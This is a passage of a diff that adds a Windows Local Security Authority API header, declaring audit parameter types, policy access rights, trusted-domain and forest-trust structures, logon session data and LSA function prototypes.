parameter. + SeAdtParmTypeFileSpec, + SeAdtParmTypeUlong, //Produces 1 parameter + SeAdtParmTypeSid, //Produces 1 parameter. + SeAdtParmTypeLogonId, //Produces 4 parameters. + SeAdtParmTypeNoLogonId, //Produces 3 parameters. + SeAdtParmTypeAccessMask, //Produces 1 parameter with formatting. + SeAdtParmTypePrivs, //Produces 1 parameter with formatting. + SeAdtParmTypeObjectTypes, //Produces 10 parameters with formatting. + SeAdtParmTypeHexUlong, //Produces 1 parameter + SeAdtParmTypePtr, //Produces 1 parameter + SeAdtParmTypeTime, //Produces 2 parameters + SeAdtParmTypeGuid, //Produces 1 parameter + SeAdtParmTypeLuid, // + SeAdtParmTypeHexInt64, //Produces 1 parameter + SeAdtParmTypeStringList, //Produces 1 parameter + SeAdtParmTypeSidList, //Produces 1 parameter + SeAdtParmTypeDuration, //Produces 1 parameters + SeAdtParmTypeUserAccountControl,//Produces 3 parameters + SeAdtParmTypeNoUac, //Produces 3 parameters + SeAdtParmTypeMessage, //Produces 1 Parameter + SeAdtParmTypeDateTime, //Produces 1 Parameter + SeAdtParmTypeSockAddr, // Produces 2 parameters + SeAdtParmTypeSD, // Produces 1 parameters + SeAdtParmTypeLogonHours, // Produces 1 parameters + SeAdtParmTypeLogonIdNoSid, //Produces 3 parameters. + SeAdtParmTypeUlongNoConv, // Produces 1 parameter. + SeAdtParmTypeSockAddrNoPort, // Produces 1 parameter + SeAdtParmTypeAccessReason + +} SE_ADT_PARAMETER_TYPE, *PSE_ADT_PARAMETER_TYPE; + +#if !defined(GUID_DEFINED) +#include +#endif /* GUID_DEFINED */ + +typedef struct _SE_ADT_OBJECT_TYPE { + GUID ObjectType; + USHORT Flags; +#define SE_ADT_OBJECT_ONLY 0x1 + USHORT Level; + ACCESS_MASK AccessMask; +} SE_ADT_OBJECT_TYPE, *PSE_ADT_OBJECT_TYPE; + +typedef struct _SE_ADT_PARAMETER_ARRAY_ENTRY { + + SE_ADT_PARAMETER_TYPE Type; + ULONG Length; + ULONG_PTR Data[2]; + PVOID Address; +} SE_ADT_PARAMETER_ARRAY_ENTRY, *PSE_ADT_PARAMETER_ARRAY_ENTRY; + + +typedef struct _SE_ADT_ACCESS_REASON{ + ACCESS_MASK AccessMask; + ULONG AccessReasons[32]; + ULONG ObjectTypeIndex; + ULONG AccessGranted; + PSECURITY_DESCRIPTOR SecurityDescriptor; +} SE_ADT_ACCESS_REASON, *PSE_ADT_ACCESS_REASON; + +#define SE_MAX_AUDIT_PARAMETERS 32 +#define SE_MAX_GENERIC_AUDIT_PARAMETERS 28 + +typedef struct _SE_ADT_PARAMETER_ARRAY { + + ULONG CategoryId; + ULONG AuditId; + ULONG ParameterCount; + ULONG Length; + USHORT FlatSubCategoryId; + USHORT Type; + ULONG Flags; + SE_ADT_PARAMETER_ARRAY_ENTRY Parameters[ SE_MAX_AUDIT_PARAMETERS ]; + +} SE_ADT_PARAMETER_ARRAY, *PSE_ADT_PARAMETER_ARRAY; + +#define SE_ADT_PARAMETERS_SELF_RELATIVE 0x00000001 +#define SE_ADT_PARAMETERS_SEND_TO_LSA 0x00000002 +#define SE_ADT_PARAMETER_EXTENSIBLE_AUDIT 0x00000004 +#define SE_ADT_PARAMETER_GENERIC_AUDIT 0x00000008 +#define SE_ADT_PARAMETER_WRITE_SYNCHRONOUS 0x00000010 + +#define LSAP_SE_ADT_PARAMETER_ARRAY_TRUE_SIZE(AuditParameters) \ + ( sizeof(SE_ADT_PARAMETER_ARRAY) - \ + sizeof(SE_ADT_PARAMETER_ARRAY_ENTRY) * \ + (SE_MAX_AUDIT_PARAMETERS - AuditParameters->ParameterCount) ) + +#endif // !defined(_NTLSA_AUDIT_) + +typedef enum _POLICY_AUDIT_EVENT_TYPE { + + AuditCategorySystem = 0, + AuditCategoryLogon, + AuditCategoryObjectAccess, + AuditCategoryPrivilegeUse, + AuditCategoryDetailedTracking, + AuditCategoryPolicyChange, + AuditCategoryAccountManagement, + AuditCategoryDirectoryServiceAccess, + AuditCategoryAccountLogon + +} POLICY_AUDIT_EVENT_TYPE, *PPOLICY_AUDIT_EVENT_TYPE; + +#define POLICY_AUDIT_EVENT_UNCHANGED (0x00000000L) +#define POLICY_AUDIT_EVENT_SUCCESS (0x00000001L) +#define POLICY_AUDIT_EVENT_FAILURE (0x00000002L) +#define POLICY_AUDIT_EVENT_NONE (0x00000004L) + +#define POLICY_AUDIT_EVENT_MASK \ + (POLICY_AUDIT_EVENT_SUCCESS | \ + POLICY_AUDIT_EVENT_FAILURE | \ + POLICY_AUDIT_EVENT_UNCHANGED | \ + POLICY_AUDIT_EVENT_NONE) + +#define LSA_SUCCESS(Error) ((LONG)(Error) >= 0) + +NTSTATUS +NTAPI +LsaRegisterLogonProcess ( + IN PLSA_STRING LogonProcessName, + OUT PHANDLE LsaHandle, + OUT PLSA_OPERATIONAL_MODE SecurityMode + ); + +NTSTATUS +NTAPI +LsaLogonUser ( + IN HANDLE LsaHandle, + IN PLSA_STRING OriginName, + IN SECURITY_LOGON_TYPE LogonType, + IN ULONG AuthenticationPackage, + IN PVOID AuthenticationInformation, + IN ULONG AuthenticationInformationLength, + IN OPTIONAL PTOKEN_GROUPS LocalGroups, + IN PTOKEN_SOURCE SourceContext, + OUT PVOID *ProfileBuffer, + OUT PULONG ProfileBufferLength, + OUT PLUID LogonId, + OUT PHANDLE Token, + OUT PQUOTA_LIMITS Quotas, + OUT PNTSTATUS SubStatus + ); + +NTSTATUS +NTAPI +LsaLookupAuthenticationPackage ( + IN HANDLE LsaHandle, + IN PLSA_STRING PackageName, + OUT PULONG AuthenticationPackage + ); + +NTSTATUS +NTAPI +LsaFreeReturnBuffer ( + IN PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaCallAuthenticationPackage ( + IN HANDLE LsaHandle, + IN ULONG AuthenticationPackage, + IN PVOID ProtocolSubmitBuffer, + IN ULONG SubmitBufferLength, + OUT OPTIONAL PVOID *ProtocolReturnBuffer, + OUT OPTIONAL PULONG ReturnBufferLength, + OUT OPTIONAL PNTSTATUS ProtocolStatus + ); + +NTSTATUS +NTAPI +LsaDeregisterLogonProcess ( + IN HANDLE LsaHandle + ); + +NTSTATUS +NTAPI +LsaConnectUntrusted ( + OUT PHANDLE LsaHandle + ); + +//////////////////////////////////////////////////////////////////////////// +// // +// Local Security Policy Administration API datatypes and defines // +// // +//////////////////////////////////////////////////////////////////////////// + +#define POLICY_VIEW_LOCAL_INFORMATION 0x00000001L +#define POLICY_VIEW_AUDIT_INFORMATION 0x00000002L +#define POLICY_GET_PRIVATE_INFORMATION 0x00000004L +#define POLICY_TRUST_ADMIN 0x00000008L +#define POLICY_CREATE_ACCOUNT 0x00000010L +#define POLICY_CREATE_SECRET 0x00000020L +#define POLICY_CREATE_PRIVILEGE 0x00000040L +#define POLICY_SET_DEFAULT_QUOTA_LIMITS 0x00000080L +#define POLICY_SET_AUDIT_REQUIREMENTS 0x00000100L +#define POLICY_AUDIT_LOG_ADMIN 0x00000200L +#define POLICY_SERVER_ADMIN 0x00000400L +#define POLICY_LOOKUP_NAMES 0x00000800L +#define POLICY_NOTIFICATION 0x00001000L + +#define POLICY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED |\ + POLICY_VIEW_LOCAL_INFORMATION |\ + POLICY_VIEW_AUDIT_INFORMATION |\ + POLICY_GET_PRIVATE_INFORMATION |\ + POLICY_TRUST_ADMIN |\ + POLICY_CREATE_ACCOUNT |\ + POLICY_CREATE_SECRET |\ + POLICY_CREATE_PRIVILEGE |\ + POLICY_SET_DEFAULT_QUOTA_LIMITS |\ + POLICY_SET_AUDIT_REQUIREMENTS |\ + POLICY_AUDIT_LOG_ADMIN |\ + POLICY_SERVER_ADMIN |\ + POLICY_LOOKUP_NAMES) + + +#define POLICY_READ (STANDARD_RIGHTS_READ |\ + POLICY_VIEW_AUDIT_INFORMATION |\ + POLICY_GET_PRIVATE_INFORMATION) + +#define POLICY_WRITE (STANDARD_RIGHTS_WRITE |\ + POLICY_TRUST_ADMIN |\ + POLICY_CREATE_ACCOUNT |\ + POLICY_CREATE_SECRET |\ + POLICY_CREATE_PRIVILEGE |\ + POLICY_SET_DEFAULT_QUOTA_LIMITS |\ + POLICY_SET_AUDIT_REQUIREMENTS |\ + POLICY_AUDIT_LOG_ADMIN |\ + POLICY_SERVER_ADMIN) + +#define POLICY_EXECUTE (STANDARD_RIGHTS_EXECUTE |\ + POLICY_VIEW_LOCAL_INFORMATION |\ + POLICY_LOOKUP_NAMES) + +typedef struct _LSA_TRANSLATED_SID { + + SID_NAME_USE Use; + ULONG RelativeId; + LONG DomainIndex; + +} LSA_TRANSLATED_SID, *PLSA_TRANSLATED_SID; + +typedef enum _POLICY_LSA_SERVER_ROLE { + + PolicyServerRoleBackup = 2, + PolicyServerRolePrimary + +} POLICY_LSA_SERVER_ROLE, *PPOLICY_LSA_SERVER_ROLE; + +#if (_WIN32_WINNT < 0x0502) + +typedef enum _POLICY_SERVER_ENABLE_STATE { + + PolicyServerEnabled = 2, + PolicyServerDisabled + +} POLICY_SERVER_ENABLE_STATE, *PPOLICY_SERVER_ENABLE_STATE; +#endif + +typedef ULONG POLICY_AUDIT_EVENT_OPTIONS, *PPOLICY_AUDIT_EVENT_OPTIONS; + +typedef enum _POLICY_INFORMATION_CLASS { + + PolicyAuditLogInformation = 1, + PolicyAuditEventsInformation, + PolicyPrimaryDomainInformation, + PolicyPdAccountInformation, + PolicyAccountDomainInformation, + PolicyLsaServerRoleInformation, + PolicyReplicaSourceInformation, + PolicyDefaultQuotaInformation, + PolicyModificationInformation, + PolicyAuditFullSetInformation, + PolicyAuditFullQueryInformation, + PolicyDnsDomainInformation, + PolicyDnsDomainInformationInt, + PolicyLocalAccountDomainInformation, + PolicyLastEntry + +} POLICY_INFORMATION_CLASS, *PPOLICY_INFORMATION_CLASS; + +typedef struct _POLICY_AUDIT_LOG_INFO { + + ULONG AuditLogPercentFull; + ULONG MaximumLogSize; + LARGE_INTEGER AuditRetentionPeriod; + BOOLEAN AuditLogFullShutdownInProgress; + LARGE_INTEGER TimeToShutdown; + ULONG NextAuditRecordId; + +} POLICY_AUDIT_LOG_INFO, *PPOLICY_AUDIT_LOG_INFO; + +typedef struct _POLICY_AUDIT_EVENTS_INFO { + + BOOLEAN AuditingMode; + PPOLICY_AUDIT_EVENT_OPTIONS EventAuditingOptions; + ULONG MaximumAuditEventCount; + +} POLICY_AUDIT_EVENTS_INFO, *PPOLICY_AUDIT_EVENTS_INFO; + +typedef struct _POLICY_AUDIT_SUBCATEGORIES_INFO { + + ULONG MaximumSubCategoryCount; + PPOLICY_AUDIT_EVENT_OPTIONS EventAuditingOptions; + +} POLICY_AUDIT_SUBCATEGORIES_INFO, *PPOLICY_AUDIT_SUBCATEGORIES_INFO; + +typedef struct _POLICY_AUDIT_CATEGORIES_INFO { + + ULONG MaximumCategoryCount; + PPOLICY_AUDIT_SUBCATEGORIES_INFO SubCategoriesInfo; + +} POLICY_AUDIT_CATEGORIES_INFO, *PPOLICY_AUDIT_CATEGORIES_INFO; + +// +// Valid bits for Per user policy mask. +// + +#define PER_USER_POLICY_UNCHANGED (0x00) +#define PER_USER_AUDIT_SUCCESS_INCLUDE (0x01) +#define PER_USER_AUDIT_SUCCESS_EXCLUDE (0x02) +#define PER_USER_AUDIT_FAILURE_INCLUDE (0x04) +#define PER_USER_AUDIT_FAILURE_EXCLUDE (0x08) +#define PER_USER_AUDIT_NONE (0x10) + + +#define VALID_PER_USER_AUDIT_POLICY_FLAG (PER_USER_AUDIT_SUCCESS_INCLUDE | \ + PER_USER_AUDIT_SUCCESS_EXCLUDE | \ + PER_USER_AUDIT_FAILURE_INCLUDE | \ + PER_USER_AUDIT_FAILURE_EXCLUDE | \ + PER_USER_AUDIT_NONE) + +typedef struct _POLICY_PRIMARY_DOMAIN_INFO { + + LSA_UNICODE_STRING Name; + PSID Sid; + +} POLICY_PRIMARY_DOMAIN_INFO, *PPOLICY_PRIMARY_DOMAIN_INFO; + +typedef struct _POLICY_PD_ACCOUNT_INFO { + + LSA_UNICODE_STRING Name; + +} POLICY_PD_ACCOUNT_INFO, *PPOLICY_PD_ACCOUNT_INFO; + +typedef struct _POLICY_LSA_SERVER_ROLE_INFO { + + POLICY_LSA_SERVER_ROLE LsaServerRole; + +} POLICY_LSA_SERVER_ROLE_INFO, *PPOLICY_LSA_SERVER_ROLE_INFO; + +typedef struct _POLICY_REPLICA_SOURCE_INFO { + + LSA_UNICODE_STRING ReplicaSource; + LSA_UNICODE_STRING ReplicaAccountName; + +} POLICY_REPLICA_SOURCE_INFO, *PPOLICY_REPLICA_SOURCE_INFO; + +typedef struct _POLICY_DEFAULT_QUOTA_INFO { + + QUOTA_LIMITS QuotaLimits; + +} POLICY_DEFAULT_QUOTA_INFO, *PPOLICY_DEFAULT_QUOTA_INFO; + + +typedef struct _POLICY_MODIFICATION_INFO { + + LARGE_INTEGER ModifiedId; + LARGE_INTEGER DatabaseCreationTime; + +} POLICY_MODIFICATION_INFO, *PPOLICY_MODIFICATION_INFO; + + +typedef struct _POLICY_AUDIT_FULL_SET_INFO { + + BOOLEAN ShutDownOnFull; + +} POLICY_AUDIT_FULL_SET_INFO, *PPOLICY_AUDIT_FULL_SET_INFO; + + +typedef struct _POLICY_AUDIT_FULL_QUERY_INFO { + + BOOLEAN ShutDownOnFull; + BOOLEAN LogIsFull; + +} POLICY_AUDIT_FULL_QUERY_INFO, *PPOLICY_AUDIT_FULL_QUERY_INFO; + + +typedef enum _POLICY_DOMAIN_INFORMATION_CLASS { + +#if (_WIN32_WINNT <= 0x0500) + PolicyDomainQualityOfServiceInformation = 1, +#endif + PolicyDomainEfsInformation = 2, + PolicyDomainKerberosTicketInformation + +} POLICY_DOMAIN_INFORMATION_CLASS, *PPOLICY_DOMAIN_INFORMATION_CLASS; + +#if (_WIN32_WINNT < 0x0502) + +#define POLICY_QOS_SCHANNEL_REQUIRED 0x00000001 +#define POLICY_QOS_OUTBOUND_INTEGRITY 0x00000002 +#define POLICY_QOS_OUTBOUND_CONFIDENTIALITY 0x00000004 +#define POLICY_QOS_INBOUND_INTEGRITY 0x00000008 +#define POLICY_QOS_INBOUND_CONFIDENTIALITY 0x00000010 +#define POLICY_QOS_ALLOW_LOCAL_ROOT_CERT_STORE 0x00000020 +#define POLICY_QOS_RAS_SERVER_ALLOWED 0x00000040 +#define POLICY_QOS_DHCP_SERVER_ALLOWED 0x00000080 + +// +// Bits 0x00000100 through 0xFFFFFFFF are reserved for future use. +// +#endif + +#if (_WIN32_WINNT == 0x0500) +typedef struct _POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO { + + ULONG QualityOfService; + +} POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO, *PPOLICY_DOMAIN_QUALITY_OF_SERVICE_INFO; + +#endif + +typedef struct _POLICY_DOMAIN_EFS_INFO { + + ULONG InfoLength; + PUCHAR EfsBlob; + +} POLICY_DOMAIN_EFS_INFO, *PPOLICY_DOMAIN_EFS_INFO; + +#define POLICY_KERBEROS_VALIDATE_CLIENT 0x00000080 + +typedef struct _POLICY_DOMAIN_KERBEROS_TICKET_INFO { + + ULONG AuthenticationOptions; + LARGE_INTEGER MaxServiceTicketAge; + LARGE_INTEGER MaxTicketAge; + LARGE_INTEGER MaxRenewAge; + LARGE_INTEGER MaxClockSkew; + LARGE_INTEGER Reserved; +} POLICY_DOMAIN_KERBEROS_TICKET_INFO, *PPOLICY_DOMAIN_KERBEROS_TICKET_INFO; + +typedef enum _POLICY_NOTIFICATION_INFORMATION_CLASS { + + PolicyNotifyAuditEventsInformation = 1, + PolicyNotifyAccountDomainInformation, + PolicyNotifyServerRoleInformation, + PolicyNotifyDnsDomainInformation, + PolicyNotifyDomainEfsInformation, + PolicyNotifyDomainKerberosTicketInformation, + PolicyNotifyMachineAccountPasswordInformation, + PolicyNotifyGlobalSaclInformation, + PolicyNotifyMax // must always be the last entry + +} POLICY_NOTIFICATION_INFORMATION_CLASS, *PPOLICY_NOTIFICATION_INFORMATION_CLASS; + +typedef PVOID LSA_HANDLE, *PLSA_HANDLE; + +typedef enum _TRUSTED_INFORMATION_CLASS { + + TrustedDomainNameInformation = 1, + TrustedControllersInformation, + TrustedPosixOffsetInformation, + TrustedPasswordInformation, + TrustedDomainInformationBasic, + TrustedDomainInformationEx, + TrustedDomainAuthInformation, + TrustedDomainFullInformation, + TrustedDomainAuthInformationInternal, + TrustedDomainFullInformationInternal, + TrustedDomainInformationEx2Internal, + TrustedDomainFullInformation2Internal, + TrustedDomainSupportedEncryptionTypes, +} TRUSTED_INFORMATION_CLASS, *PTRUSTED_INFORMATION_CLASS; + +typedef struct _TRUSTED_DOMAIN_NAME_INFO { + + LSA_UNICODE_STRING Name; + +} TRUSTED_DOMAIN_NAME_INFO, *PTRUSTED_DOMAIN_NAME_INFO; + +typedef struct _TRUSTED_CONTROLLERS_INFO { + + ULONG Entries; + PLSA_UNICODE_STRING Names; + +} TRUSTED_CONTROLLERS_INFO, *PTRUSTED_CONTROLLERS_INFO; + +typedef struct _TRUSTED_POSIX_OFFSET_INFO { + + ULONG Offset; + +} TRUSTED_POSIX_OFFSET_INFO, *PTRUSTED_POSIX_OFFSET_INFO; + +typedef struct _TRUSTED_PASSWORD_INFO { + LSA_UNICODE_STRING Password; + LSA_UNICODE_STRING OldPassword; +} TRUSTED_PASSWORD_INFO, *PTRUSTED_PASSWORD_INFO; + +typedef LSA_TRUST_INFORMATION TRUSTED_DOMAIN_INFORMATION_BASIC; +typedef PLSA_TRUST_INFORMATION PTRUSTED_DOMAIN_INFORMATION_BASIC; + +#define TRUST_DIRECTION_DISABLED 0x00000000 +#define TRUST_DIRECTION_INBOUND 0x00000001 +#define TRUST_DIRECTION_OUTBOUND 0x00000002 +#define TRUST_DIRECTION_BIDIRECTIONAL (TRUST_DIRECTION_INBOUND | TRUST_DIRECTION_OUTBOUND) + +#define TRUST_TYPE_DOWNLEVEL 0x00000001 // NT4 and before +#define TRUST_TYPE_UPLEVEL 0x00000002 // NT5 +#define TRUST_TYPE_MIT 0x00000003 // Trust with a MIT Kerberos realm + +#if (_WIN32_WINNT < 0x0502) +#define TRUST_TYPE_DCE 0x00000004 // Trust with a DCE realm +#endif + +// Levels 0x5 - 0x000FFFFF reserved for future use +// Provider specific trust levels are from 0x00100000 to 0xFFF00000 + +#define TRUST_ATTRIBUTE_NON_TRANSITIVE 0x00000001 // Disallow transitivity +#define TRUST_ATTRIBUTE_UPLEVEL_ONLY 0x00000002 // Trust link only valid for uplevel client +#if (_WIN32_WINNT == 0x0500) +#define TRUST_ATTRIBUTE_TREE_PARENT 0x00400000 // Denotes that we are setting the trust + // to our parent in the org tree... +#define TRUST_ATTRIBUTE_TREE_ROOT 0x00800000 // Denotes that we are setting the trust + // to another tree root in a forest... +// Trust attributes 0x00000004 through 0x004FFFFF reserved for future use +// Trust attributes 0x00F00000 through 0x00400000 are reserved for internal use +// Trust attributes 0x01000000 through 0xFF000000 are reserved for user +#define TRUST_ATTRIBUTES_VALID 0xFF02FFFF +#endif + +#if (_WIN32_WINNT < 0x0502) +#define TRUST_ATTRIBUTE_FILTER_SIDS 0x00000004 // Used to quarantine domains +#else +#define TRUST_ATTRIBUTE_QUARANTINED_DOMAIN 0x00000004 // Used to quarantine domains +#endif + +#if (_WIN32_WINNT >= 0x0501) +#define TRUST_ATTRIBUTE_FOREST_TRANSITIVE 0x00000008 // This link may contain forest trust information +#if (_WIN32_WINNT >= 0x0502) +#define TRUST_ATTRIBUTE_CROSS_ORGANIZATION 0x00000010 // This trust is to a domain/forest which is not part of this enterprise +#define TRUST_ATTRIBUTE_WITHIN_FOREST 0x00000020 // Trust is internal to this forest +#define TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL 0x00000040 // Trust is to be treated as external for trust boundary purposes +#if (_WIN32_WINNT >= 0x0600) +#define TRUST_ATTRIBUTE_TRUST_USES_RC4_ENCRYPTION 0x00000080 // MIT trust with RC4 +#define TRUST_ATTRIBUTE_TRUST_USES_AES_KEYS 0x00000100 // Use AES keys to encrypte KRB TGTs +#endif +// Trust attributes 0x00000040 through 0x00200000 are reserved for future use +#else +// Trust attributes 0x00000010 through 0x00200000 are reserved for future use +#endif +// Trust attributes 0x00400000 through 0x00800000 were used previously (up to W2K) and should not be re-used +// Trust attributes 0x01000000 through 0x80000000 are reserved for user +#define TRUST_ATTRIBUTES_VALID 0xFF03FFFF +#endif +#define TRUST_ATTRIBUTES_USER 0xFF000000 + +typedef struct _TRUSTED_DOMAIN_INFORMATION_EX { + + LSA_UNICODE_STRING Name; + LSA_UNICODE_STRING FlatName; + PSID Sid; + ULONG TrustDirection; + ULONG TrustType; + ULONG TrustAttributes; + +} TRUSTED_DOMAIN_INFORMATION_EX, *PTRUSTED_DOMAIN_INFORMATION_EX; + +typedef struct _TRUSTED_DOMAIN_INFORMATION_EX2 { + + LSA_UNICODE_STRING Name; + LSA_UNICODE_STRING FlatName; + PSID Sid; + ULONG TrustDirection; + ULONG TrustType; + ULONG TrustAttributes; + ULONG ForestTrustLength; +#ifdef MIDL_PASS + [size_is( ForestTrustLength )] +#endif + PUCHAR ForestTrustInfo; + +} TRUSTED_DOMAIN_INFORMATION_EX2, *PTRUSTED_DOMAIN_INFORMATION_EX2; + +#define TRUST_AUTH_TYPE_NONE 0 // Ignore this entry +#define TRUST_AUTH_TYPE_NT4OWF 1 // NT4 OWF password +#define TRUST_AUTH_TYPE_CLEAR 2 // Cleartext password +#define TRUST_AUTH_TYPE_VERSION 3 // Cleartext password version number + +typedef struct _LSA_AUTH_INFORMATION { + + LARGE_INTEGER LastUpdateTime; + ULONG AuthType; + ULONG AuthInfoLength; + PUCHAR AuthInfo; +} LSA_AUTH_INFORMATION, *PLSA_AUTH_INFORMATION; + +typedef struct _TRUSTED_DOMAIN_AUTH_INFORMATION { + + ULONG IncomingAuthInfos; + PLSA_AUTH_INFORMATION IncomingAuthenticationInformation; + PLSA_AUTH_INFORMATION IncomingPreviousAuthenticationInformation; + ULONG OutgoingAuthInfos; + PLSA_AUTH_INFORMATION OutgoingAuthenticationInformation; + PLSA_AUTH_INFORMATION OutgoingPreviousAuthenticationInformation; + +} TRUSTED_DOMAIN_AUTH_INFORMATION, *PTRUSTED_DOMAIN_AUTH_INFORMATION; + +typedef struct _TRUSTED_DOMAIN_FULL_INFORMATION { + + TRUSTED_DOMAIN_INFORMATION_EX Information; + TRUSTED_POSIX_OFFSET_INFO PosixOffset; + TRUSTED_DOMAIN_AUTH_INFORMATION AuthInformation; + +} TRUSTED_DOMAIN_FULL_INFORMATION, *PTRUSTED_DOMAIN_FULL_INFORMATION; + +typedef struct _TRUSTED_DOMAIN_FULL_INFORMATION2 { + + TRUSTED_DOMAIN_INFORMATION_EX2 Information; + TRUSTED_POSIX_OFFSET_INFO PosixOffset; + TRUSTED_DOMAIN_AUTH_INFORMATION AuthInformation; + +} TRUSTED_DOMAIN_FULL_INFORMATION2, *PTRUSTED_DOMAIN_FULL_INFORMATION2; + +typedef struct _TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES { + + ULONG SupportedEncryptionTypes; + +} TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES, *PTRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES; + +typedef enum { + + ForestTrustTopLevelName, + ForestTrustTopLevelNameEx, + ForestTrustDomainInfo, + ForestTrustRecordTypeLast = ForestTrustDomainInfo + +} LSA_FOREST_TRUST_RECORD_TYPE; + +#if (_WIN32_WINNT < 0x0502) +#define LSA_FOREST_TRUST_RECORD_TYPE_UNRECOGNIZED 0x80000000 +#endif + +// +// Bottom 16 bits of the flags are reserved for disablement reasons +// + +#define LSA_FTRECORD_DISABLED_REASONS ( 0x0000FFFFL ) + +// +// Reasons for a top-level name forest trust record to be disabled +// + +#define LSA_TLN_DISABLED_NEW ( 0x00000001L ) +#define LSA_TLN_DISABLED_ADMIN ( 0x00000002L ) +#define LSA_TLN_DISABLED_CONFLICT ( 0x00000004L ) + +// +// Reasons for a domain information forest trust record to be disabled +// + +#define LSA_SID_DISABLED_ADMIN ( 0x00000001L ) +#define LSA_SID_DISABLED_CONFLICT ( 0x00000002L ) +#define LSA_NB_DISABLED_ADMIN ( 0x00000004L ) +#define LSA_NB_DISABLED_CONFLICT ( 0x00000008L ) + +typedef struct _LSA_FOREST_TRUST_DOMAIN_INFO { + +#ifdef MIDL_PASS + PISID Sid; +#else + PSID Sid; +#endif + LSA_UNICODE_STRING DnsName; + LSA_UNICODE_STRING NetbiosName; + +} LSA_FOREST_TRUST_DOMAIN_INFO, *PLSA_FOREST_TRUST_DOMAIN_INFO; + + +#if (_WIN32_WINNT >= 0x0502) +// +// To prevent huge data to be passed in, we should put a limit on LSA_FOREST_TRUST_BINARY_DATA. +// 128K is large enough that can't be reached in the near future, and small enough not to +// cause memory problems. + +#define MAX_FOREST_TRUST_BINARY_DATA_SIZE ( 128 * 1024 ) +#endif + +typedef struct _LSA_FOREST_TRUST_BINARY_DATA { + +#ifdef MIDL_PASS + [range(0, MAX_FOREST_TRUST_BINARY_DATA_SIZE)] ULONG Length; + [size_is( Length )] PUCHAR Buffer; +#else + ULONG Length; + PUCHAR Buffer; +#endif + +} LSA_FOREST_TRUST_BINARY_DATA, *PLSA_FOREST_TRUST_BINARY_DATA; + +typedef struct _LSA_FOREST_TRUST_RECORD { + + ULONG Flags; + LSA_FOREST_TRUST_RECORD_TYPE ForestTrustType; // type of record + LARGE_INTEGER Time; + +#ifdef MIDL_PASS + [switch_type( LSA_FOREST_TRUST_RECORD_TYPE ), switch_is( ForestTrustType )] +#endif + + union { // actual data + +#ifdef MIDL_PASS + [case( ForestTrustTopLevelName, + ForestTrustTopLevelNameEx )] LSA_UNICODE_STRING TopLevelName; + [case( ForestTrustDomainInfo )] LSA_FOREST_TRUST_DOMAIN_INFO DomainInfo; + [default] LSA_FOREST_TRUST_BINARY_DATA Data; +#else + LSA_UNICODE_STRING TopLevelName; + LSA_FOREST_TRUST_DOMAIN_INFO DomainInfo; + LSA_FOREST_TRUST_BINARY_DATA Data; // used for unrecognized types +#endif + } ForestTrustData; + +} LSA_FOREST_TRUST_RECORD, *PLSA_FOREST_TRUST_RECORD; + +#if (_WIN32_WINNT >= 0x0502) +// +// To prevent forest trust blobs of large size, number of records must be +// smaller than MAX_RECORDS_IN_FOREST_TRUST_INFO +// + +#define MAX_RECORDS_IN_FOREST_TRUST_INFO 4000 +#endif + +typedef struct _LSA_FOREST_TRUST_INFORMATION { + +#ifdef MIDL_PASS + [range(0, MAX_RECORDS_IN_FOREST_TRUST_INFO)] ULONG RecordCount; + [size_is( RecordCount )] PLSA_FOREST_TRUST_RECORD * Entries; +#else + ULONG RecordCount; + PLSA_FOREST_TRUST_RECORD * Entries; +#endif + +} LSA_FOREST_TRUST_INFORMATION, *PLSA_FOREST_TRUST_INFORMATION; + +typedef enum { + + CollisionTdo, + CollisionXref, + CollisionOther + +} LSA_FOREST_TRUST_COLLISION_RECORD_TYPE; + +typedef struct _LSA_FOREST_TRUST_COLLISION_RECORD { + + ULONG Index; + LSA_FOREST_TRUST_COLLISION_RECORD_TYPE Type; + ULONG Flags; + LSA_UNICODE_STRING Name; + +} LSA_FOREST_TRUST_COLLISION_RECORD, *PLSA_FOREST_TRUST_COLLISION_RECORD; + +typedef struct _LSA_FOREST_TRUST_COLLISION_INFORMATION { + + ULONG RecordCount; +#ifdef MIDL_PASS + [size_is( RecordCount )] +#endif + PLSA_FOREST_TRUST_COLLISION_RECORD * Entries; + +} LSA_FOREST_TRUST_COLLISION_INFORMATION, *PLSA_FOREST_TRUST_COLLISION_INFORMATION; + + +// +// LSA Enumeration Context +// + +typedef ULONG LSA_ENUMERATION_HANDLE, *PLSA_ENUMERATION_HANDLE; + +// +// LSA Enumeration Information +// + +typedef struct _LSA_ENUMERATION_INFORMATION { + + PSID Sid; + +} LSA_ENUMERATION_INFORMATION, *PLSA_ENUMERATION_INFORMATION; + + +//////////////////////////////////////////////////////////////////////////// +// // +// Local Security Policy - Miscellaneous API function prototypes // +// // +//////////////////////////////////////////////////////////////////////////// + + +NTSTATUS +NTAPI +LsaFreeMemory( + IN OPTIONAL PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaClose( + IN LSA_HANDLE ObjectHandle + ); + +#if (_WIN32_WINNT >= 0x0600) + +typedef struct _LSA_LAST_INTER_LOGON_INFO { + LARGE_INTEGER LastSuccessfulLogon; + LARGE_INTEGER LastFailedLogon; + ULONG FailedAttemptCountSinceLastSuccessfulLogon; +} LSA_LAST_INTER_LOGON_INFO, *PLSA_LAST_INTER_LOGON_INFO; + +#endif + +#if (_WIN32_WINNT >= 0x0501) +typedef struct _SECURITY_LOGON_SESSION_DATA { + ULONG Size; + LUID LogonId; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING LogonDomain; + LSA_UNICODE_STRING AuthenticationPackage; + ULONG LogonType; + ULONG Session; + PSID Sid; + LARGE_INTEGER LogonTime; + + LSA_UNICODE_STRING LogonServer; + LSA_UNICODE_STRING DnsDomainName; + LSA_UNICODE_STRING Upn; + +#if (_WIN32_WINNT >= 0x0600) + + ULONG UserFlags; + + LSA_LAST_INTER_LOGON_INFO LastLogonInfo; + LSA_UNICODE_STRING LogonScript; + LSA_UNICODE_STRING ProfilePath; + LSA_UNICODE_STRING HomeDirectory; + LSA_UNICODE_STRING HomeDirectoryDrive; + + LARGE_INTEGER LogoffTime; + LARGE_INTEGER KickOffTime; + LARGE_INTEGER PasswordLastSet; + LARGE_INTEGER PasswordCanChange; + LARGE_INTEGER PasswordMustChange; + +#endif +} 